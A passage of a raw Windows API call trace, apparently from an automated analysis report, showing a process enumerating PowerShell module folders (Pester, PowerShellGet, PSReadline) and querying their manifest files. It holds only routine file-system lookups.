ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0191.775] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.775] FindClose (in: hFindFile=0x1ef70470b20 | out: hFindFile=0x1ef70470b20) returned 1 [0191.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.791] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0191.791] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0191.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.791] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0191.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0191.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0191.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0191.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0191.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003c84f0 | out: lpFileInformation=0x1ef003c84f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0191.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0191.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0191.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0191.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0191.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0191.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0191.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0191.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003c8860 | out: lpFileInformation=0x1ef003c8860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0191.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.800] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0191.800] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0191.800] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0191.801] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0191.801] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0191.801] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0191.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0191.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0191.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef7046ffe0 [0191.801] FindNextFileW (in: hFindFile=0x1ef7046ffe0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.802] FindNextFileW (in: hFindFile=0x1ef7046ffe0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0191.802] FindNextFileW (in: hFindFile=0x1ef7046ffe0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.802] FindClose (in: hFindFile=0x1ef7046ffe0 | out: hFindFile=0x1ef7046ffe0) returned 1 [0191.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0191.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0191.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0191.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0191.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0191.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0191.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0191.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003ca680 | out: lpFileInformation=0x1ef003ca680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0191.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0191.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0191.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0191.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0191.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0191.807] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0191.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0191.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0191.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef70470b20 [0191.807] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.807] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0191.808] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0191.808] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.808] FindClose (in: hFindFile=0x1ef70470b20 | out: hFindFile=0x1ef70470b20) returned 1 [0191.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0191.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0191.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0191.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0191.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0191.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0191.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0191.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003cc858 | out: lpFileInformation=0x1ef003cc858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0191.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0191.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0191.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0191.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0191.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0191.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 